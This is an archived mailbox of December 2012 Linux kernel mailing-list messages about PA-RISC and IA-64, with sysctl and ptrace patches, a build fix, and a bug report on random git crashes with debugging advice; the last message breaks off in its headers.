Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Tle4s-0007VJ-Pt
	for glka-linux-arch@plane.gmane.org; Thu, 20 Dec 2012 12:14:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752263Ab2LTLN7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 20 Dec 2012 06:13:59 -0500
Original-Received: from us01smtp2.synopsys.com ([198.182.44.80]:34803 "EHLO
	kiruna.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751666Ab2LTLNv (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 20 Dec 2012 06:13:51 -0500
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
	by kiruna.synopsys.com (Postfix) with ESMTP id 6294FF7E8;
	Thu, 20 Dec 2012 03:13:50 -0800 (PST)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 3F376FCA;
	Thu, 20 Dec 2012 03:13:50 -0800 (PST)
Original-Received: from US01WXQAHTC1.internal.synopsys.com (us01wxqahtc1.internal.synopsys.com [10.12.238.230])
	by mailhost.synopsys.com (Postfix) with ESMTP id CB72BFC7;
	Thu, 20 Dec 2012 03:13:49 -0800 (PST)
Original-Received: from IN01WEHTC2.internal.synopsys.com (10.144.199.212) by
 US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Thu, 20 Dec 2012 03:12:11 -0800
Original-Received: from localhost.localdomain (10.12.197.205) by
 in01wehtc2.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Thu, 20 Dec 2012 16:42:06 +0530
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1356001898-2960-1-git-send-email-vgupta@synopsys.com>
X-Originating-IP: [10.12.197.205]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16187 gmane.linux.ports.ia64:22810 gmane.linux.ports.parisc:4691 gmane.linux.kernel:1412980
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16187>

From: Vineet Gupta <vgupta@synopsys.com>

* parisc: /proc/sys/kernel/unaligned-trap => SYSCTL_ARCH_UNALIGN_ALLOW

* ia64: /proc/sys/kernel/ignore-unaligned-usertrap =>
					SYSCTL_ARCH_UNALIGN_NO_WARN

This allows other architectures, specifically ARC to reuse these sysctl
knobs.

Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Serge Hallyn <serge.hallyn@canonical.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Cc: linux-ia64@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/ia64/Kconfig   |    1 +
 arch/parisc/Kconfig |    1 +
 init/Kconfig        |   16 ++++++++++++++++
 kernel/sysctl.c     |   16 +++++++++++++---
 4 files changed, 31 insertions(+), 3 deletions(-)

diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 3279646..5fb1064 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -40,6 +40,7 @@ config IA64
 	select ARCH_THREAD_INFO_ALLOCATOR
 	select ARCH_CLOCKSOURCE_DATA
 	select GENERIC_TIME_VSYSCALL_OLD
+	select SYSCTL_ARCH_UNALIGN_NO_WARN
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	default y
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 11def45..7d9de54 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -20,6 +20,7 @@ config PARISC
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
+	select SYSCTL_ARCH_UNALIGN_ALLOW
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 
diff --git a/init/Kconfig b/init/Kconfig
index 6fdd6e3..de4b184 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1169,6 +1169,22 @@ config SYSCTL_EXCEPTION_TRACE
 	help
 	  Enable support for /proc/sys/debug/exception-trace.
 
+config SYSCTL_ARCH_UNALIGN_NO_WARN
+	bool
+	help
+	  Enable support for /proc/sys/kernel/ignore-unaligned-usertrap
+	  Allows arch to define/use @no_unaligned_warning to possbly warn about
+	  unaligned access emulation going on under the hood.
+	  see arch/ia64/kernel/unaligned.c for reference
+
+config SYSCTL_ARCH_UNALIGN_ALLOW
+	bool
+	help
+	  Enable support for /proc/sys/kernel/unaligned-trap
+	  Allows arches to define/use @unaligned_enabled to runtime toggle
+	  the unaligned access emulation.
+	  see arch/parisc/kernel/unaligned.c for reference
+
 config KALLSYMS
 	 bool "Load all symbols for debugging/ksymoops" if EXPERT
 	 default y
diff --git a/kernel/sysctl.c b/kernel/sysctl.c
index 26f65ea..9c618bf 100644
--- a/kernel/sysctl.c
+++ b/kernel/sysctl.c
@@ -157,14 +157,20 @@ extern int sysctl_tsb_ratio;
 
 #ifdef __hppa__
 extern int pwrsw_enabled;
-extern int unaligned_enabled;
 #endif
 
 #ifdef CONFIG_IA64
-extern int no_unaligned_warning;
 extern int unaligned_dump_stack;
 #endif
 
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
+extern int unaligned_enabled;
+#endif
+
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_NO_WARN
+extern int no_unaligned_warning;
+#endif
+
 #ifdef CONFIG_PROC_SYSCTL
 static int proc_do_cad_pid(struct ctl_table *table, int write,
 		  void __user *buffer, size_t *lenp, loff_t *ppos);
@@ -504,6 +510,8 @@ static struct ctl_table kern_table[] = {
 	 	.mode		= 0644,
 		.proc_handler	= proc_dointvec,
 	},
+#endif
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
 	{
 		.procname	= "unaligned-trap",
 		.data		= &unaligned_enabled,
@@ -870,7 +878,7 @@ static struct ctl_table kern_table[] = {
 		.proc_handler	= proc_doulongvec_minmax,
 	},
 #endif
-#ifdef CONFIG_IA64
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_NO_WARN
 	{
 		.procname	= "ignore-unaligned-usertrap",
 		.data		= &no_unaligned_warning,
@@ -878,6 +886,8 @@ static struct ctl_table kern_table[] = {
 	 	.mode		= 0644,
 		.proc_handler	= proc_dointvec,
 	},
+#endif
+#ifdef CONFIG_IA64
 	{
 		.procname	= "unaligned-dump-stack",
 		.data		= &unaligned_dump_stack,
-- 
1.7.4.1


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Random crashes when calling git
Date: Thu, 27 Dec 2012 10:42:32 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <4882058.deuBGYmI4J@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1780181.FjbiXn3C97"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1356601363 25912 80.91.229.3 (27 Dec 2012 09:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Dec 2012 09:42:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 27 10:42:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1To9zO-0004q5-P7
	for glpp-linux-parisc@plane.gmane.org; Thu, 27 Dec 2012 10:42:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751318Ab2L0Jmn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Dec 2012 04:42:43 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:48022 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751231Ab2L0Jmm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Dec 2012 04:42:42 -0500
Original-Received: (qmail 21312 invoked from network); 27 Dec 2012 09:42:39 -0000
Original-Received: from dslb-088-070-122-179.pools.arcor-ip.net ([::ffff:88.70.122.179]:60573 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 27 Dec 2012 10:42:39 +0100
User-Agent: KMail/4.9.3 (Linux/3.6.10-15-desktop; KDE/4.9.4; i686; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4692>


--nextPart1780181.FjbiXn3C97
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

The CMake test suite includes running some git operations. I see the git test 
failing every some days, e.g. here:

http://open.cdash.org/testDetails.php?test=164070366&build=2734103

The syslog output to this event is this:

Dec 27 05:14:38 voyager kernel: 
Dec 27 05:14:38 voyager kernel: do_page_fault() pid=21120 command='git' type=6 
address=0x00000003
Dec 27 05:14:38 voyager kernel: 
Dec 27 05:14:38 voyager kernel: YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Dec 27 05:14:38 voyager kernel: PSW: 00000000000001000000000000001111 Not 
tainted
Dec 27 05:14:38 voyager kernel: r00-03  0004000f 4083bb40 00000000 00000007
Dec 27 05:14:38 voyager kernel: r04-07  4036e6f8 4103b480 00000000 4083c000
Dec 27 05:14:38 voyager kernel: r08-11  000000fb 4036b624 403709a4 00000000
Dec 27 05:14:38 voyager kernel: r12-15  402ffc60 fffff000 00800000 001397ae
Dec 27 05:14:38 voyager kernel: r16-19  fb217954 fb217964 4083c000 00000000
Dec 27 05:14:38 voyager kernel: r20-23  00000003 00000054 00000049 4103b900
Dec 27 05:14:38 voyager kernel: r24-27  0000000e 00123ec2 00000000 001350fc
Dec 27 05:14:38 voyager kernel: r28-31  00000000 00000002 4083c280 fefefeff
Dec 27 05:14:38 voyager kernel: sr00-03  0000002c 00000000 00000000 0000002c
Dec 27 05:14:38 voyager kernel: sr04-07  0000002c 0000002c 0000002c 0000002c
Dec 27 05:14:38 voyager kernel: 
Dec 27 05:14:38 voyager kernel: VZOUICununcqcqcqcqcqcrmunTDVZOUI
Dec 27 05:14:38 voyager kernel: FPSR: 00000000000000000000000000000000
Dec 27 05:14:38 voyager kernel: FPER1: 00000000
Dec 27 05:14:38 voyager kernel: fr00-03  0000000000000000 0000000000000000 
0000000000000000 0000000000000000
Dec 27 05:14:38 voyager kernel: fr04-07  0000000000000000 7d00000000000000 
00000004e2000000 4097700000000000
Dec 27 05:14:38 voyager kernel: fr08-11  0000000000000000 0000000000000000 
00000004019ff37b 2ecf5011101b4ce8
Dec 27 05:14:38 voyager kernel: fr12-15  4097700000000000 0000000000000000 
41d436ef72347f39 0000000050d30cd9
Dec 27 05:14:38 voyager kernel: fr16-19  0004fe0f105ad000 1012db6800000006 
0000000000000000 0000000000000031
Dec 27 05:14:38 voyager kernel: fr20-23  105ad00010605800 000000061060580a 
0000000000000088 00229d5b00000000
Dec 27 05:14:38 voyager kernel: fr24-27  0000000000000000 00000000a0b5ed8d 
00000000000000ff 0000000000000000
Dec 27 05:14:38 voyager kernel: fr28-31  00000005000203f9 105ad2b810592000 
105ad2a4000000ff 2f8302001011b974
Dec 27 05:14:38 voyager kernel: 
Dec 27 05:14:38 voyager kernel: IASQ: 0000002c 0000002c IAOQ: 00000003 
00000007
Dec 27 05:14:38 voyager kernel: IIR: 43ffff80    ISR: 0000002c  IOR: 4103b504
Dec 27 05:14:38 voyager kernel: CPU:        0   CR30: 2f100000 CR31: ffffffff
Dec 27 05:14:38 voyager kernel: ORIG_R28: 00000000
Dec 27 05:14:38 voyager kernel: IAOQ[0]: 00000003
Dec 27 05:14:38 voyager kernel: IAOQ[1]: 00000007
Dec 27 05:14:38 voyager kernel: RP(r2): 00000000

Kernel is up to date:

Linux voyager 3.7.1 #1 Thu Dec 20 12:22:22 CET 2012 parisc PA8600 (PCX-W+) 
9000/785/C3600 GNU/Linux

Glibc is 2.14.1.

Any ideas?

Eike
--nextPart1780181.FjbiXn3C97
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlDcGBAACgkQXKSJPmm5/E6MSgCghP3V2fo46LCjPwiKSpUxAmd+
0aAAn0AGojDYv04ZPO22rYWFw10piq2i
=u6wL
-----END PGP SIGNATURE-----

--nextPart1780181.FjbiXn3C97--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Thu, 27 Dec 2012 12:09:35 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
References: <4882058.deuBGYmI4J@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1356628220 29228 80.91.229.3 (27 Dec 2012 17:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Dec 2012 17:10:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 27 18:10:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ToGyW-0006yP-Ah
	for glpp-linux-parisc@plane.gmane.org; Thu, 27 Dec 2012 18:10:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752925Ab2L0RKR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Dec 2012 12:10:17 -0500
Original-Received: from blu0-omc3-s26.blu0.hotmail.com ([65.55.116.101]:6793 "EHLO
	blu0-omc3-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752810Ab2L0RKQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Dec 2012 12:10:16 -0500
Original-Received: from BLU0-SMTP55 ([65.55.116.73]) by blu0-omc3-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 27 Dec 2012 09:10:15 -0800
X-EIP: [TOInMreVelGvUz4TlYMexzH6l8zBaOtH]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.84]) by BLU0-SMTP55.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 27 Dec 2012 09:10:14 -0800
In-Reply-To: <4882058.deuBGYmI4J@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Dec 2012 17:10:14.0611 (UTC) FILETIME=[097C5A30:01CDE455]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4693>

On 27-Dec-12, at 4:42 AM, Rolf Eike Beer wrote:

> Any ideas?

Try running the test under gdb.  Git has branched to location 0 causing
a page fault.  We need a backtrace(s) to learn something useful.  There
may be multiple backtraces (info thread).

Enable core dumps if not enabled.  Might find something useful by
examining it (gdb -c core /usr/bin/git).

Git uses threads.  I expect the problem is thread related since it  
doesn't
happen all the time, and for that reason it might not be reproducible  
running
under gdb..

You might try building git and running its testsuite.  I remember that
some thread related tests used to fail for me.  I think it may be  
possible
to build git without pthread support.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Remove obsolete regs parameter from do_execve() in hpux_execve()
Date: Fri, 28 Dec 2012 21:28:09 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <1356726489-27229-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1356726502 4167 80.91.229.3 (28 Dec 2012 20:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2012 20:28:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Al Viro <viro@zeniv.linux.org.uk>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 21:28:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TogXi-0003p9-2W
	for glpp-linux-parisc@plane.gmane.org; Fri, 28 Dec 2012 21:28:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754004Ab2L1U2S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2012 15:28:18 -0500
Original-Received: from gerard.telenet-ops.be ([195.130.132.48]:46301 "EHLO
	gerard.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752501Ab2L1U2R (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2012 15:28:17 -0500
Original-Received: from ayla.of.borg ([84.193.72.141])
	by gerard.telenet-ops.be with bizsmtp
	id h8UA1k00732ts5g0H8UAZA; Fri, 28 Dec 2012 21:28:15 +0100
Original-Received: from geert by ayla.of.borg with local (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1TogXK-00075e-9R; Fri, 28 Dec 2012 21:28:10 +0100
X-Mailer: git-send-email 1.7.0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4694 gmane.linux.kernel:1415326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4694>

commit da3d4c5fa56236dd924d77ffc4f982356816b93b ("get rid of pt_regs
argument of do_execve()") removed the parameter, but forgot to update
hpux_execve():

arch/parisc/hpux/fs.c: In function 'hpux_execve':
arch/parisc/hpux/fs.c:47:6: error: too many arguments to function 'do_execve'

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
http://kisskb.ellerman.id.au/kisskb/buildresult/7864854/

 arch/parisc/hpux/fs.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
index a0760b8..838b479 100644
--- a/arch/parisc/hpux/fs.c
+++ b/arch/parisc/hpux/fs.c
@@ -43,8 +43,7 @@ int hpux_execve(struct pt_regs *regs)
 
 	error = do_execve(filename->name,
 			  (const char __user *const __user *) regs->gr[25],
-			  (const char __user *const __user *) regs->gr[24],
-			  regs);
+			  (const char __user *const __user *) regs->gr[24]);
 
 	putname(filename);
 
-- 
1.7.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Improve ptrace support for gdb single-step
Date: Fri, 28 Dec 2012 18:18:01 -0500
Lines: 106
Approved: news@gmane.org
Message-ID: <BLU0-SMTP34ED8A5FC4451C5BECF0F6973F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-32-472359560"
X-Trace: ger.gmane.org 1356736732 20828 80.91.229.3 (28 Dec 2012 23:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2012 23:18:52 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 29 00:19:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TojCh-0003Sj-Qk
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Dec 2012 00:19:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755102Ab2L1XSm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2012 18:18:42 -0500
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:17124 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755051Ab2L1XSm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2012 18:18:42 -0500
Original-Received: from BLU0-SMTP34 ([65.55.111.137]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 28 Dec 2012 15:18:40 -0800
X-EIP: [e36MHZXwHXqJo4tIpmFJZVfKWYh7vRuG]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.84]) by BLU0-SMTP34.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 28 Dec 2012 15:18:40 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 28 Dec 2012 23:18:40.0633 (UTC) FILETIME=[AC1D5E90:01CDE551]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4695
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4695>

--Apple-Mail-32-472359560
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Various GCC tests use gdb to simulate a multithreaded application.  Many
of these tests have been failing on parisc linux.

GCC does this by using gdb to single-step the application, then gdb is  
used to
call other test specific code.  Where this fails is when the  
application is stepped
into the delay slot of a taken branch.  This sets the PSW B bit.  When  
the test
specific code is executed, this usually clears the PSW B bit.   
Currently, gdb is
not allowed to set the B bit.  So, the code falls through what should  
be a taken
branch.

The attached patch adds the PSW B bit to the set of bits that gdb is  
allowed to
set.  In order to set the B bit, the trace system call must return  
using an interrupt
restore.  The patch also modifies this code to use the saved IAOQ  
values when
they are saved by a ptrace syscall or interruption.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---



--Apple-Mail-32-472359560
Content-Disposition: attachment; filename="ptrace-gdb.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="ptrace-gdb.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..c19b2b0 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -2064,7 +2057,7 @@ syscall_restore:
 
 	/* Are we being ptraced? */
 	ldw	TASK_FLAGS(%r1),%r19
-	ldi	(_TIF_SINGLESTEP|_TIF_BLOCKSTEP),%r2
+	ldi	_TIF_SYSCALL_TRACE_MASK,%r2
 	and,COND(=)	%r19,%r2,%r0
 	b,n	syscall_restore_rfi
 
@@ -2177,15 +2170,23 @@ syscall_restore_rfi:
 	/* sr2 should be set to zero for userspace syscalls */
 	STREG	%r0,TASK_PT_SR2(%r1)
 
-pt_regs_ok:
 	LDREG	TASK_PT_GR31(%r1),%r2
-	depi	3,31,2,%r2			   /* ensure return to user mode. */
-	STREG	%r2,TASK_PT_IAOQ0(%r1)
+	depi	3,31,2,%r2		   /* ensure return to user mode. */
+	STREG   %r2,TASK_PT_IAOQ0(%r1)
 	ldo	4(%r2),%r2
 	STREG	%r2,TASK_PT_IAOQ1(%r1)
+	b	intr_restore
 	copy	%r25,%r16
+
+pt_regs_ok:
+	LDREG	TASK_PT_IAOQ0(%r1),%r2
+	depi	3,31,2,%r2		   /* ensure return to user mode. */
+	STREG	%r2,TASK_PT_IAOQ0(%r1)
+	LDREG	TASK_PT_IAOQ1(%r1),%r2
+	depi	3,31,2,%r2
+	STREG	%r2,TASK_PT_IAOQ1(%r1)
 	b	intr_restore
-	nop
+	copy	%r25,%r16
 
 	.import schedule,code
 syscall_do_resched:
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 857c2f5..534abd4 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -26,7 +26,7 @@
 #include <asm/asm-offsets.h>
 
 /* PSW bits we allow the debugger to modify */
-#define USER_PSW_BITS	(PSW_N | PSW_V | PSW_CB)
+#define USER_PSW_BITS	(PSW_N | PSW_B | PSW_V | PSW_CB)
 
 /*
  * Called by kernel/ptrace.c when detaching..

--Apple-Mail-32-472359560
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net
--Apple-Mail-32-472359560--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve ptrace support for gdb single-step
Date: Sat, 29 Dec 2012 11:42:06 -0500
Lines: 181
Approved: news@gmane.org
Message-ID: <BLU0-SMTP58FCCC37C2B6CE2B604655973E0@phx.gbl>
References: <BLU0-SMTP34ED8A5FC4451C5BECF0F6973F0@phx.gbl> <CAE2sS1ikAfRfQQkRqzXU3TLL74BjSyh_euBFcbqcZwQxEE+bqg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-59-535004512"
X-Trace: ger.gmane.org 1356799370 27647 80.91.229.3 (29 Dec 2012 16:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Dec 2012 16:42:50 +0000 (UTC)
Cc: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
